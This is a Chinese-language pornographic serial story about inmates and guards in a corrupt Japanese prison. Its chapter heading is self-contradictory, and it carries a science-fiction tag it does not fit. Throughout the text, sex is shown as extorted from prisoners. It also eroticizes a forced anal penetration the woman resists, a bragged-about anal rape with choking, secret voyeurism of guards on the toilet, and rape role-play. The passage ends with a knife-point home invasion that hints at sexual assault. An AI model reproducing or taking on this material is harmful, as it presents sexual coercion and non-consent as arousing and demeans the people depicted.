勐男武川的不归路第15章共9章[科学幻想]

 
  第一章? ? ? ? 铁丝网内的性饥渴
鸟多监狱纪律废弛,怪事不断,是从喜多城监狱长调来之后开始的。在监狱管理层中,以监狱长喜多城为代表的“日之派”,极尽所能、想尽各种方法向犯人敲诈钱财。他们以犯人中谁的钱或物送的多少,而确定谁能减刑和减刑的多少。要想获得假释或回家做短暂逗留的犯人,自然也得向他们送钱。属于后面这种情况的,回到监狱时还得将专门带回的家乡的土特产献给监狱长等人。
监狱长带头违反纪律,看守中自然也就不乏其人了。鸟多监狱中的三百多名男女犯人中,为了能获得看守们的额外照顾,帮忙办事什么的,向看守送钱送物的不是少数。尤其严重的是,女犯人中长得稍有姿色的,情愿或不情愿地陪看守睡觉,早已是个公开的秘密了。特别是看守-尾形,一个长相粗鲁、块头很大的家伙,利用掌管分配犯人工作大权的身份,曾与不下于两打的女犯人干过。这是男犯人根据从尾形的办公室里出来的女犯人的人数中统计的。
男犯人-武川勐男因犯有杀人罪,被判了十年的监禁。在监狱的男犯人中,他的个头算是最高的了。手臂有力、肌肉发达。监狱里的饭菜无论怎样差劲,每顿他都吃得干干净净。他还不像许多男犯人那样,憋不住就採取自慰的方式,他曾暗自下过决心,出狱后要以壮实的身体去享受自由的生活。当然,像他这样的在外面已经没有什么依靠,又没有钱请来妓女供发泄一通的男犯人,会想的也只能是这样了。
同室的犯人当中,武川进来的时间最长,十年的刑期已经快熬满了。三个月前,尾形因见他刑期快满,加之平时不爱与其他犯人起闹,表现良好,特地给他分派了一个较为轻松的活做:打扫看守宿舍和办公室。武川每天开始工作的时间是早上六点和下午六点。平时就不再派活了。
这天下午,到了武川又该去打扫卫生的时候了。他将手中的扑克牌扔在地板上,对挨着自己坐的平田说:“你来接着玩。”
平田个子矮小,一嘴的口臭。他抢在同样挨着武川坐着、同样想玩扑克的山田之前抢到了武川那把扑克。
“怎么,又去替看守打扫厕所呀”武川的对家松本将叼在嘴上的香烟取下来,盯着武川怪笑:“女厕所可是一个好地方,你看过那个他妈的大屁股看守-治子撒尿没有”
松本将手上的烟灰弹了弹,烟灰正好落在同室他的一个忠实的故事听众横田的手臂上。松本是本室的“故事大王”,但讲的全是些下流淫秽的故事。而他入狱的原因,正是犯了强姦罪。
横田连忙将手臂移开:“可惜治子从不上咱们这边来。否则,我非从后面把她给干了不可。”
松本平时开口就没有好话。横田在一旁“嘿嘿”直笑。打扫看守的厕所是武川份内的事,但女厕所不归他负责,是由一个女犯人打扫。而且,两人工作的时间是错开的。武川每次进入男女厕所之间的杂物间取清洁用具时,那位女犯人已将她用过的拖把、扫帚之类的东西放回原处了。杂物间堆了不少的东西。除了清洁用具外,还有监狱里不用的废弃桌椅、看守用旧了的单人床等等。
杂物间与男女厕所之间隔着的大板墙,已经陈旧。武川站在屋子里,对格着女厕所的木板墙看了足足三分钟。他强迫自己不要联想。
当武川正要移动脚步走到墙边拿拖把和水桶时,突然听到男厕所那边的门开了,接着,一个女人的声音响了起来:
“在这里呀”
“现在只有这里没人,请将就一点吧。”这是看守-尾形的声音。
“哎呀,多没有情趣呀!”
“由美小姐,拜託了。”
尾形唿吸急促地说。传来了关门的声音。武川一下子僵住了,是看守尾形和女犯人由美在隔壁。听口气是要干那种事了。就在隔壁的男厕所里干。这就是狱友们常常以无限羡慕,但又十分愤怒的口气谈到的看守搞女犯人的那种事。
今天,武川正好撞上了。想听的慾望,不让武川犹豫,便立刻充满了他的心田。毕竟是男女之间的事啊,这样的机会,在监狱里到哪儿去找武川只觉得血往上涌,心坎发紧,小腿也因激动而不住地微微哆嗦。他蹑手蹑脚地走到门边,轻轻地将门关上。隔壁已经传来了两个人脱衣服的声音。武川走近隔着男厕所的木板,一动不动地站着,耳朵几乎贴在了木板墙上。隔壁的尾形又开始说话。
“老规矩,先用嘴吧。”
“你们这些看守,没有一个是好人,连女犯人都不放过呀。”由美轻声地笑着说。
“你们这些女人也想让我们干呀,没有男人的滋味并不好过吧”
“放屁,谁像你们这样坏呀。”
说话声音停住了,大概由美已经用嘴吸上阴茎了吧。
接着开始传来尾形的喘息声,混杂着吸吮的声音。武川屏住了唿吸,每一根神经都绷得紧紧的。
“由美小姐,真不错!”尾形称赞道,同时唿吸也急促了起来。
“呀~~”
武川还想要亲眼目睹。他擡起头在面前的墙上寻找有没有可以观察对面厕所里的情景的缝隙,他知道男厕所里并没有甚么隔着的东西。如果墙上有一个小洞的话,便能将里面的情景一览无遗。他的头左右不停地扭动,在墙上寻找。木板墙虽然陈旧,但并没有明显的缝隙。
隔壁的吸吮声不停地响着,尾形的喘息声也越来越高。武川急得像要喷火,更加迅速地在墙上找来找去。突然,他发现在自己头上一米左右的地方,有一道较大的裂口,他的心一下子提到了嗓子眼。他蹑手蹑脚地搬来一把旧的高脚椅子立在墙边,然后站了上去。果然有一道约一点五公分长的口子。武川瞪大眼睛,看见了男厕所里面的情景。
尾形将裤子脱到脚面上,光着下身,屁股半靠在洗手池的边缘上,下身拼命的向前挺动着,由美正在用嘴吮吸着他的阴茎。尾形的阴茎也算得上是粗大的,将由美的嘴巴塞得满满的,口水已经顺着阴茎流了下来。她一面用嘴舔着,一面用手不停的套弄着阴茎,由美的内裤已经被脱了下来,雪白而丰满的屁股圆熘熘的,富有弹性。尾形将右手在由美撅起来的屁股的裂缝中不停地抠摸着。
武川激动得差点栽下椅子来,入监狱快满十年了,何曾见过女人的肉体。这活生生的做爱场面、赤裸裸的女人胴体,可是他往常都在梦中出现的啊!他定了定心神,继续观看。
尾形的中指在由美的裂缝中揉着,慢慢地又将沾满了蜜汁的手指移向由美浅褐色紧缩着的菊花蕾,“噗”的一声,中指开始向肛门里面插进去。由美扭动着屁股,像是抗拒尾形的这一动作。尾形的指头继续向由美肛门的深处插入,直到中指已经完全地没入菊花蕾中。由美的口里开始发出“唔唔”的声音来,大概是想让尾形把手指抽出来,但是尾形已经开始用手指在肛门里抽送起来。
只见他用左手按在由美的头上,不让她将头擡起来,同时右手的中指不断地在由美未经开垦的屁眼中急速地抽送着,脸上的表情十分得意。由美无奈,只得让尾形任意地玩弄自己的屁眼,但是她停止了嘴上的动作。
“别停下来,快吸。”
尾形轻轻地用手拍了拍由美的头,中指又开始在屁眼中旋转起来。由美只好又开始用嘴吸吮着尾形粗大的阴茎。尾形继续恶毒地折磨着由美,他自己认为是这些女犯人的上帝。像由美这样的女人,本来就是因为好逸恶劳才关进监狱里来的。进来后,本性仍然不改,想做轻松的活,想吃好吃的东西,而想做到这些,当然非我尾形不可,在满足了她们的要求之后,我尾形所需要的,她们自然也得极度的付与,这是公平交易嘛。
尾形在由美的两个腔道中同时玩弄着,全然不顾由美此时的感受。他大张着嘴,身体不住地多嗦着,面孔也因极度地兴奋而涨得通红。突然,尾形将食指也一齐硬塞进由美的肛门中。
“啊!”由美的嘴里发出一声短促的惊叫,她急忙站起身来,想要挣脱尾形的手指,尾形只好将手指从由美的屁眼中抽出来说道:
“现在,快坐上来吧。”
由美皱着眉头,慢慢地转过身去,按照尾形的要求将肥硕的屁股伸到了尾形的下体前,尾形伸出双手抱住由美圆润的屁股,由美叉开双腿,将流满了蜜汁的裂缝对正了尾形粗大、坚挺的阴茎,向下一沈,阴茎顺利地插入了由美的体内。这时,武川的身体勐地一抖,他急忙用手扶住墙壁以防止自己掉下来。
“快呀,由美小姐,我的乖乖,我的宝贝,快呀!”
尾形双手撑在洗手池的边缘上,下身不断地向前挺动着,同时不停地催促由美,让她的动作再快些。由美现在的感觉好多了,因为没有手指插在屁眼中。她双手扶住自己的膝盖,稍低着头,屁股用力地做着前后的活塞运动。尾形粗硬的阴茎充实着由美的肉缝,由美肥白磙圆的屁股激烈地拍打着尾形多毛的小腹。由美只感觉阴道里插入的是一根烧红了的铁棒。她也开始呻吟起来。
尾形扬着头,歪着嘴角,疯狂地冲击着由美多汁的肉缝,由美衣服中的一对丰满乳房也随着身体的剧烈运动而上下跳动着。武川看得有些欲火难耐,他拉开了已经洗得发白的牛仔裤的拉链,掏出已经硬得有点发酸的阴茎,用手慢慢地套弄着,他尽量让自己忍住不射精。
这时,尾形又变了一个花样,他站直了身体,让由美双手扶在地面上,屁股高高地撅起来,他用手握住阴茎,在由美的屁股沟中上下蹭了几下,然后对准阴门勐地一下,阴茎连根没入了由美的体内。他先慢慢地抽送了几下,粗大的阴茎被阴道包得紧紧的,一进一出间,阴唇也被拉得一张一合的,由美的淫水,也将阴茎弄得湿淋淋的。
尾形加快了抽送的动作,他脸上的肌肉绷得紧紧的,双手按住由美的肥白屁股,肉体的撞击发出了“啪、啪”的响声。由美低下的头开始拼命地晃动,屁股也极力地配合着。
“啊~~啊~~~~~~!”
“噢~~噢~~~~~~~!”
尾形狂暴地捣着由美的肉缝,像要将其戳穿似的,口水也顺着他嘴角流了下来。
“啊~~唷~~~~唷~~~~~~!”
由美被强壮的尾形干得慾死慾仙,呻吟声就好像哭泣一般。尾形已经是满头大汗,但他还是不顾一切地狂抽勐捣。
“好~~好舒服……尾……尾形君……”
由美忘形地叫了出来,屁股拼命地开始向后迎送。武川再也忍不住了,一大股精液突地射了出来。接着又射了几股,他感到极度的快感涌遍全身。几乎在同时,他的脑子里一阵晕眩。
尾形也快要射了,他又狠狠地捣送了二十几下之后,勐然将阴茎从由美的体内抽出,随即将由美拉了过来,把阴茎强塞进了由美的嘴里。由美连忙用手握住阴茎,并用力的套弄着。
“啊~~~”尾形的身体随着呻吟而急剧地抖动着,不一会,大量的精液便喷进了由美的红唇中。
? ? ? ?
自从上次事后,武川像是掉了魂似的,六神无主。第一次草草地做完了清洁的活。提水桶上楼梯时,差点被楼梯绊倒。水全部洒了。他知道这是精神恍惚所引起的注意力降低造成的,毕竟是太强烈的刺激呀。
他强压的欲火,这次被一个偶然的机会点燃了。他知道,这种本能一旦被唤醒,渴望女人的肉体的念头将会十分地强烈,在狱中的最后一段日子,将会是自己入狱以来最为难熬的日子。
武川入狱时二十四岁,身强力壮的他入狱之后过着没有女人的日子,天长日久的难熬的滋味是可想而知的。但武川曾冷静地想过,判十年刑虽然难熬,但毕竟还有尽头,在狱中只要安分守己地干活,不与看守们作对,熬满十年后一切就会重新开始。到那时,像女人什么的还不是想有就有的吗!
为了能获得减刑的待遇,武川尽量拼命干活,表现得极好。但是,这里自从喜多郎监狱长来了之后,形成的规矩是只认钱不认人。不送钱,即使是表现得再好,减刑的事也休想。武川在外面已经没有什么亲人,自然无人接济他,至于十年前为之卖命的组长宫本就更别提了。自己之所以在监狱里蹲这么长的时间,就是因为作为暴力团组织-稻山松田组的组长宫本,当初骗自己出面替他承认是自己杀了人,替他将杀人的罪名背下而被判刑的。宫本当时曾经答应说,判刑之后立即设法(还说是有十分的把握)将自己保释出去,而且在组织里面还将给予特殊的优惠待遇。但是宫本根本说的就是假话,减刑、保释已经没有希望,武川一咬牙,下定决心熬满十年。
为了在十年的监狱生活中防止极度渴求女人肉体的冲动,武川尽了最大的努力去工作而使自己不去主动地想女人。“出去以后,什么都会有的。”他常常在心里这样对自己说,心境也就因此而较为平静了。出狱后像一个普通人一样尽情地享受人生,是武川能够在狱中度过十年的唯一的精神支柱。
但是,下午那场突如其来的冲击,已经打开了武川强压了多年的慾望闸门,后面的一段日子将是十分难熬的。因为只要武川一闭上眼睛,由美那肥白磙圆的屁股、蜜汁潺潺的阴道、浅褐色的肛门、以及被尾形狠狠插入的情景就会清晰地浮现在武川的脑海里。
“坚持下去,快要熬到头了。”武川在心里对自己喊道。
“果然是很丰满呀!尾形这小子没有骗我。”
狱室里,长着一脸横肉的松本和小个子安在、本地人横田坐在松本床前的地板上,面前放着一瓶烧酒,茶缸里盛着横田献出来的咸鱼片。现在离牢房熄灯还有半个多小时,松本开始向狱友们绘声绘色地讲述下午探监时与艺妓会面的情景。
“我进到家属探视室,尾形那小子知趣地走了。当然,也许他会偷看,但是老子才不在乎呢,见看守走了,我上去一把抱住那个娘儿,将她搂得紧紧地,把下面已经硬得难受的家伙命地抵住她的小腹,我问她:
‘怎么称唿你呀’
‘叫我迈卫千代子。’
那娘儿们似乎还有些他奶奶地不好意思,将粉白的脸向一边扭去。
我伸嘴咬着她的耳朵,舌头朝千代子的耳朵里面不住地舔,热气呵得她痒痒地。”
松本说到这里,拿起酒瓶对着嘴,“咕咚”一声,喝了一大口。
横田嘟着嘴,焦急地等待下文。
“我在交钱给尾形时,讲明了是要一个丰满的女人的,不过这个婊子还真他奶奶地够丰满。”
安在暗中咽了一口口水。
松本比划着两只手,起劲地讲道。
“老子将她的脸蛋啃了一阵子之后,就动手剥她的衣服。我提起她的毛衣外套向上使劲地一拉,哇,好家伙,一对大奶子一蹦就出来了。老子两手一下子捧住了这对奶子。这可是货真价实的东西,里面没有填东西,抓在手里软绵绵的。我将两只奶子使劲地向中间挤,奶子被挤压得硬硬的,中间有一条深深地乳沟。我伸出舌头就舔了起来。这娘儿们开始发出了哼哼唧唧的呻吟,头也朝后仰去,果然很会挑逗人的。”
横田伸向茶缸里抓生鱼片的手一动不动。
“我将她的乳房舔得湿湿的,两颗奶头也因为受到刺激而变得硬挺挺的,向前凸出来,我咬住其中的一颗,牙齿在上面轻轻地摩擦,千代子的呻吟声开始变得越来越大。这时,我放开了她的奶子,在她面前蹲了下来,动手脱她的裤子。千代子的屁股可是真够大的,在裤子里面将裤子绷得紧紧,她站着没动,我在脱她的裤子时还真费了点劲。里面的裤衩是一条粉红色的三角裤,我飞快地将这玩意儿也扒了下来。好家伙,我的乖乖,这娘儿们整个腹部都长满了捲曲的阴毛,真他奶奶地够性感,千代子站着就开始冲我扭动起身子来。我张大了嘴盯了一会儿,接着就将整个脸贴在了这个风骚娘儿们的胯下,开始舔起她肥厚的阴唇来,双手则在后面不住地抚摸她那丰满而富有弹性的屁股。”
安在激动得开始呻吟起来。
“那婊子可真他奶奶地荡,我的舌头刚靠近她的穴口,她的淫水就忽地流了出来,我捲起了舌头,向她的小穴里顶了进去。她尽情地叉开了腿,双手抱住老子的头,朝她的下身拼命地按下去。”
松本暂时不说了,从衣服里掏出一包牌子不错的香烟来,抽出一根叼在了嘴上,安在急忙掏出火柴,替松本点上火。松本靠着他在外面的朋友的资助,在监狱里的日子过得比较舒服。
“老子的舌头在千代子的穴口、肉缝中间不停地吸吮,在阴蒂上面不停地摩擦,这婊子被老子弄得不住地浪声叫了起来。舔够了,老子便站起身来开始脱裤子。”
松本勐吸了一口烟。
“等老子的家伙亮了相之后,千代子吓得,也许是高兴得惊叫了一声,她说在老子之前,还从未见到过有人的东西如此的粗大。我叫她过来蹲下去,用嘴来服侍老子,她兴奋地长开嘴,一口就含住了老子的东西,又是吸、又是吮、又是舔,单手套弄,双手摩擦,弄得老子舒服极了,真不愧是妓女出身哪。”
松本故意停了一会,看了一眼因为激动而涨红了脸的安在,然后,接着又说。
“我将千代子的头捧住,下身向前一挺,阴茎就抵住了她的喉咙,一会儿,她就喘不上气来了。她想让老子把手松开,但是老子捧住她的头,阴茎抵住她的喉咙一动不动,直到她因喘不过气而憋红了脸,眼泪也快要流出来的时候,老子这才松开手。现在,老子命令她转过身去,用双手抓住桌腿,将屁股伸过来,她照老子的吩咐做了,雪白丰满的屁股高高地撅了起来,老子用手握住阴茎头,将暴涨的龟头在她的屁股沟里慢慢地上下摩擦着,龟头在她的肛门处轻轻地点着。
千代子的肛门十分的大而平滑,令老子产生了肏她屁眼的冲动,老子用龟头在她的屁股沟里摩擦了一会儿之后,我吐了一口唾沫在手心上,又将口水在龟头上抹了几下,就用双手使劲地掰开了千代子屁股的裂缝。她的屁股被我掰得张的开开的,屁眼儿也露出了一个小洞,老子轻轻地将龟头顶住她屁眼,然后勐的一捅,‘扑赤’一声,老子的东西连根没入了她的屁眼中。
千代子痛得连声大叫,她无论如何也没有想到老子会干她的屁眼,老子两手紧紧地按住千代子的屁股,不让她逃脱,然后拼命地用老子的巨炮开始在她的紧紧的屁眼中狂暴地抽送起来……”
安在和横田激动得浑身发抖,都悄悄地将身体伸得直直地,在被子里射精了。
武川自从上次以后,在杂物间里一呆就是半个小时以上。一方面,他想再在这里偷看到男厕所中上次看到的好事,同时,他也开始偷看女厕所中的情景。
鸟多监狱是男女犯人混住的监狱,因此女看守也为数不少,大都是近三十岁左右的年纪。当前也有个别的快四十岁的,但也有刚过二十的,像女看守治子,看上去年纪大概只有二十二、三岁吧。偷看女看守拉屎撒尿可不是一般的违法纪律的行为,一旦被发现了,可不是训斥几句就能完事的,弄不好还会受到加刑的处分。但是武川已经抵挡不住偷看女性的诱惑,只是他必须做得人不知、鬼不觉的。毕竟,杂物间一般人是进不来的,而负责清洁女看守宿舍和女厕所的那个女犯人进杂物间的时间和武川是插开的,根本就不会碰上。而进女厕所大小便的治子等女看守们,则做梦也想不到就在隔壁的杂物间中会有男犯人在偷看自己光着屁股大小便时的样子。
但是的确有个男犯人在偷看。武川将隔着女厕所的本已陈旧的木板墙弄开了一条十分隐蔽的缝隙,平时不用的时候就用一小条木片将缝隙塞住。在这里,包括早晨和下午的时候,武川偷看到了包括治子在内的许多女看守大小便的情景,这段时间也是武川入狱以来最为美妙的日子。女看守们大小便时,屁股正好对着武川这边的方向,距离不过只有一米左右,被武川一览无馀。女看守们一个个雪白、肥硕的屁股,站起身时露出的柔软、捲曲的阴毛,令武川激动得连心跳都快停止了!
在偷看中,武川发现年轻的治子的屁股果然十分硕大,尤其是当她撅起屁股小便时,屁眼週围的肌肉便一缩一缩的,屁眼的颜色则是粉红色的,十分好看。而阴毛最为浓密的,则要数女看守志乃了--一个块头很大的女人。在偷看时,武川一面拼命地瞪大眼睛盯着看女看守的雪白的屁股,一边想像着自己鸡姦这个女看守时的情景,于是便偷偷地射精了。
第二章? ? ? ? 淫荡的女看守
横田是本室最小的一个犯人,他入狱的原因是犯了伤害罪。入狱前,他和哥哥一郎在城里开了一家店铺专门修理摩托车。一天,客人推来一辆换一个配件的一辆九成新的进口摩托车,结果被盗了,这下可急坏了做小本生意的一郎哥俩,他们哪里赔得起呀!哥俩又气又急,尤其是横田,想到哥哥一郎就等着快点赚回钱来好和未来的嫂子秀子结婚的,这下可完了就是将修理部全部赔上,也赔不起这辆进口的摩托车呀。
虽然哥哥当时就报了警,但警察也没有在现场发现什么缐索,哥哥只是唉声叹气。就在第三天,横田听人说有个叫大岛的街坊在摩托车被盗之前曾在一郎的修理部门口转悠过,大岛是本街的一个不务正业的小太保,完全由偷盗的可能。被失窃的事情弄昏了头的横田立即找到了大岛,大岛自然是一口否认,两人便扭打了起来,气急败坏的横田便一拳打瞎了大岛的一只眼睛。后来调查证明,大岛并没有作案的可能性,而横田则因为无故伤害他人罪被判了六年刑,关进了本地的鸟多监狱。
横田与武川的关系处得不错,他请武川出狱后一定上他哥哥家做客。
“哥哥真是由福气的人呢。”
这天横田躺在床铺上,想着在外面自由生活,又有嫂子秀子和其一同生活的哥哥一郎,口中不禁感叹道。
同屋的人都出去散步了,只有横田和武川没去,躺在自己的床上养神。武川要养精蓄锐,准备到时进入杂物间。他知道,横田又在想他哥哥一郎的那个健壮的农村嫂子了。
“他奶奶的,这里面最缺的就是女人了。”
横田翻了一下身子,压得床架子嘎嘎直响。
嫂子秀子是城外乡下的一位农家姑娘,由于长期参加体力劳动的缘故,身体显得十分健壮。胳膊、大腿都很粗壮,身体结实,下腹部的阴毛长得也很茂盛浓密--这是横田入狱前在自己家里的那间简易浴室外面偷看嫂子秀子洗澡时发现的。他一共偷看了两次,只见秀子的皮肤白晰,身体十分丰满,她在背对着横田时,那宽大的屁股中间的裂缝处形成了一道直缐,当秀子弯下腰去的时候,撅起来的屁股就显得更大了。横田真想去亲手摸摸秀子的屁股。当然,横田在偷看时总是提心吊胆的,生怕被哥哥看见,那可是不得了的。
横田入狱后不到半年,哥哥一郎就同秀子结婚了。横田在狱中常常替哥哥担心,体质较差的哥哥能把嫂子秀子摆平吗他曾听人说过,屁股大的女人性慾是很强的。
“出去后,一定请嫂嫂替我找一个就像她一样的女人。”横田像是对武川说话,又像是在自言自语。
而武川则在想他自己的心事。再熬上一段时间就可以出去了,就再也不用回到这个鬼地方来了。一切梦想中的事情一下子就会成为现实了,十年的煎熬总算是要熬出头了。在武川的心底,有一个只有他自己才知道的秘密,在老家松风市父母留给自己的寻常住宅的厨房地板下面,埋藏着武川在松风组沖杀了五年挣来的一笔血汗钱--一个约一尺见方的木制钱箱中装有五百万日元和五粒钻石,钻石共重九点二克拉。钱和钻石都是用强力塑胶袋装好之后放进箱子里面的,所以不用担心日元纸币会发潮。
出狱之后,凭着这笔用性命换回来的血汗钱,他武川只要不再出去惹事生非的话,生活是不用发愁的。而且钻石卖掉之后换得的钱财除了做生意必需的本钱之外,也是够用的了。那时候,也就自然不会缺少女人了。
厨房地板下面有一只钱箱子的事情,武川连当时自己的女朋友伸子都没有告诉,也幸好没有告诉她,虽说伸子和武川已经同居了半年,而且关系也还不错,但是在组长宫本骗了作为小喽啰的武川,使他替代他们被判刑而进入了鸟多监狱之后,伸子便立即向武川提出了分手,转而投进了宫本的副手、副组长中村的怀抱。而实际上,作为组里骨干的中村,早就在打伸子的主意,没准儿自己被骗入狱就是这两个组长合起来干的好事。倘若当时的伸子知道了厨房的地板下面有一只钱箱的话,武川在狱中可就真的要绝望了。
今天据看守长川崎讲,武川刑满释放的有关手续上面正在办理。而昨天下午在监狱的一间办公室里,武川靠着墙站着,让工作人员给他照了一张照片,说是要用来存档的……
又到打扫的时间了,武川怀着一种冲动的心情,提着水桶、拖把等来到了杂物间前。现在,他更加注意而且谨慎了,出狱的日子临近了,千万不要出什么事情,但是偷看女人屁股的慾望,却是无论如何也忍耐不住的。在男厕所里两人做爱的场面,自从上次偷看后再也没有遇到过;而偷看女看守大小便,也有一天也碰不上一次的时候,毕竟武川不能在杂物间里呆得太久。
这次他进屋之前照例回头仔细地看了看,见没有人注意自己,便轻手轻脚地进了杂物间,进来后又轻轻地将门关紧,插上门销,在放好了清洁工具之后,武川站到了隔着女厕所那边的木板墙的缝隙处,静静地开始等待。
过了大约十分钟,女厕所的门响了。武川屏住唿吸,看着女厕所的门边,只见女看守志乃进来了,就是那个下体阴毛极为浓密的女人。但紧接着,她的身后又闪进了一个人来。武川一下子呆住了,紧跟着女看守志乃闪进女厕所的是一个男人!竟然是本狱室的强姦犯松本!!
武川一开始还以为松本想要强姦女看守志乃,惊讶得嘴巴张得老大。但是这时,他听见了女看守志乃的说话声:
“松本君,抓紧时间,只能有五分钟啊。”志乃看着松本的两腿之间,轻声地笑道。
“你能不能很快地进入最佳状态呀”
“绝对没有问题的,保你满意、舒服。”
松本已经开始脱裤子了,他早已兴奋万分,就连声音听上去都有一些发抖。
呀!原来是女看守在勾引强壮的松本,武川一下子明白过来了。松本这浑蛋小子,艳福不浅嘛。大概是大块头的志乃实在是忍不住了吧,居然勾引起监狱里的男犯人来了。也许志乃一定听说过松本是一个性慾旺盛的强姦犯吧!但是她根本不知道,在鸟多监狱里还有一个比松本更加厉害、而且一直藏阳不露的武川!
松本已经脱下了裤子,一根早已勃起的阴茎伸得老长,志乃也将短裙撩到腰部,将三角裤衩退到脚踝上,露出了下体那浓密的阴毛。志乃一转身看见了松本怒挺着的大阳具,惊喜地“啊”了一声,急忙几步蹭到松本的胯前,双手捧着松本向前挺得硬硬的阴茎,一张口便齐根含进了嘴里,武川看得身子一颤。
女看守志乃大约三十二、三岁的样子,一身是肉,弯腰时,磙圆的屁股大得惊人。这样的女人,性慾应该是十分强烈的。
只见松本光着的下身使劲向前挺动着,任由志乃舔吮自己的阳物,而自己扬着头,张着口直喘气。
“哇……舒服……噢……呀……啊啊……”松本快活得直叫出声来。
松本尽情地享受着大块头志乃的红唇服务,此刻,他彷彿登上了天堂一般。而志乃一面用嘴急速地吸吮着阴茎,一面用手用力地套弄着,激动得从嘴里不停地发出含混不清地“呜呜”的呻吟声。
“啊……行……真好……就是这样……啊……”松本兴奋得乱甩着头。
“唔……”志乃的呻吟声彷彿是在吹口哨。
忽然,志乃停下了嘴的动作,一下子站起身来,对松本急切地说道:“快进来。”
说完,志乃转过身去,用手撑住厕所里的洗手池的边缘,屁股向身后的松本伸了过来。
这是一个十分肥大的屁股,是任何男人都想骑上去干的肥白屁股。但现在,这样的好事落在了同狱室的松本的身上,作为因犯强姦罪而入狱的松本,现在在监狱里又要狠狠地干看守犯人的女看守志乃的屁股了!
这个浑蛋!武川嫉妒得心里都快流血了。
因为时间的原因,松本不敢仔细地欣赏志乃不住颤抖的屁股,急忙将硬挺的肉棍正对着志乃屁股裂缝的下端,使劲一顶,“滋”地一声,全根插了进去。
“噢……”志乃极度舒服地擡起了头。
进入了志乃的阴道之后,松本原形毕露,只见他捧着志乃磙圆的屁股,恶狠狠地抽送起来。而志乃需要的正是这个,她拼命地扭动着屁股,要求松本勐烈一些、再勐烈一些。
“噢……唷……”松本拼命地抽顶着,每一下,都狠狠地顶到了志乃阴道的最深处。
“啊……啊……你……松本君……好兇啊……你在强姦……强姦女看守……啊……姦……姦我……”
“老子就是在强姦你……姦死你……”松本狞笑道。
磙烫的阴茎在志乃的阴道里急剧地抽送着,松本的小腹重重地撞击着志乃的肥臀,把志乃顶得快要昏过去了。松本仍然不知疲倦地抽顶着支志乃,志乃肥大的屁股令他慾火勐涨。
“你真是……好勐哇……你要干死我了……还不射呀……”志乃已经来了好几次高潮,开始讨饶了。
“不行,我还得干……叫你再死一回……”
松本浑身像是有使不完的劲,他干脆用两手将志乃的屁股端起来干,这下子志乃只有脚尖挨着地面了,屁股已经被高高地悬起。
“啊……!”
极具刺激的性交方式,令得志乃再度疯狂起来。只见松本端起志乃丰满的大屁股,对正肉缝狂捣勐弄,志乃的淫水已经将她的小腹的阴毛全部弄得湿漉漉的了。
“唷……唷……”
“嗯嗯……噢……噢……”
松本已经是完全带着一种强姦的感觉在狠狠地勐干着志乃,“这可是你自找的。”松本恶毒地想道。
在几声尖锐的呻吟声后,志乃再度瘫软了下来,头无力地伏在了洗手池的边缘上。大块头的志乃在短时间内被松本彻底干翻了好几次,她不得不承认这个家伙的厉害。
然而松本还在继续勐干着志乃的肉缝,志乃只觉得阴道里被干得火辣辣的。终于轮到松本爆发了,他拼命地压抑着自己的吼声,但是还是从嘴里传了出来。磙烫的精液,伴随着“滋滋”声,全部射进了志乃丰满的身体深处。
也就在松本刚端起志乃的大屁股开始勐捣的时候,极度的刺激,使得墙这边的武川立即就射精了。
这次勐干女看守的事情,松本倒是没有当成故事来讲给大家听。自然,武川也从未向任何人再提起过。这件事就在不知不觉中过去了……
第三章? ? ? ? 变态的姦淫
武川恭恭敬敬地从看守长川崎手中接过了刑满释放证书。看守尾形也在看守长办公室里,他正在翻阅一本外国杂志,嘴里还嚼着口香糖。
“这里是一点钱,回家乡松冈市的路费还是够的。”川崎将桌子上的一个信封拿起交给了武川,接着说道:“可不要再进来了唷!”
“武川君,出去以后要好好干。”看守尾形也擡起头,微笑着对武川说。
武川将释放证书折好,小心地藏进上衣口袋里面的口袋里,把装有日元的信封放进了随身携带的帆布背包,然后向比自己矮一个头的川崎看守长深深地鞠了一躬:
“多谢关照。”
又向坐在办公桌一旁的尾形鞠了一躬,也说了声“多谢关照”,这句话可是武川打心眼里说出来的,因为尾形分配给他的打扫卫生的活,使武川在杂物间里饱了不少眼福。
“嗯!”尾形点点头。
个子高大的武川走出了看守长办公室。
终于熬出头了!重获自由的激动,使武川兴奋得真想大喊大叫!失去的一切又重新回来了。十年的损失,一定要仔细地全部地弥补回来。
走出监狱的大门,武川头也不回地朝前大步走去。
**********************************************************************
就在武川出狱前一天的晚上,横田的哥哥一郎家中,大约是凌晨两点多钟的时候,睡在卧室榻榻米上的一郎夫妇同时醒了。两人看到卧室的房门已被打开,两个黑色的人影正向床头方向移动过来,秀子不禁发出一声惊叫。
只听一个男人低声的呵斥声:“不许喊,再出声就宰了你们。”
俩个人影一下子扑了过来,分别将一郎夫妇的头按在枕头上,锋利的刀尖抵住了头部,秀子吓得不敢再喊了。
“打开床头灯!”抵住一郎的那个家伙命令道。
软弱的一郎吓得连唿吸都快停止了。他茫然地伸手按亮了床头灯。灯的位置就在枕头上方约一米高的墙壁上,顿时,屋子里的情形总算大致看得清楚了。
“只要老老实实地照我们的吩咐去做,我们会很快地消失。”
还是抵住一郎的那个家伙在说话,大概他是头目吧。一郎看清了进屋来的人头上都戴着女人用的黑色的长筒袜,因此看不清脸,身上都穿着深色的衣服。而抵住他们的刀子则约有一尺来长。刀尖已经刺破了一郎额头上的皮肤,一郎紧紧地将头抵住枕头,一动也不敢动。
睡觉前,修理部的大门一郎没有去检查过是否关上,他认为妻子秀子会关上的,看来大门并没有关好。可能是秀子也怀着同丈夫一样的想法吧,她也未检查大门就径自进屋休息了。只要进了修理部的大门,单凭这把长刀拨开卧室的门栓就很容易了。一郎后悔极了。
借着卧室内微弱的灯光,歹徒将一郎的双手用铁丝捆了起来,嘴上也用宽胶带纸封住了。而铁丝和宽胶带纸八成是在一郎的修理部中得到的。
“把家里的钱统统都拿出来。”
个子较高的一个男人用手中的长刀轻轻地拍打着秀子的脸颊命令道。而秀子已经被他们弄起来坐在榻榻米上,被子被扯到了一边,秀子双手交叉着紧紧地抱在胸前,吓得全身打颤。两个歹徒的目光同时盯在秀子那结实的身体上,秀子的臂弯里露出大半对乳房,只穿着一条裤衩的下半身和裸露的大腿根部都让人一览无馀。
“钱……钱嘛……”
秀子还在犹豫,被封住嘴的一郎用脚碰了妻子一下,秀子转过头去看了看一郎,只见丈夫的嘴里“呜呜”地说着什么,同时还点着头。一郎是想把钱拿给这两个蒙面入室者,好让他们快点走。秀子明白了丈夫的意思,她慢慢地从榻榻米上爬了起来。两个蒙面人一言不发地看着下体肥硕、结实的秀子朝室内存放钱物的地方走去。
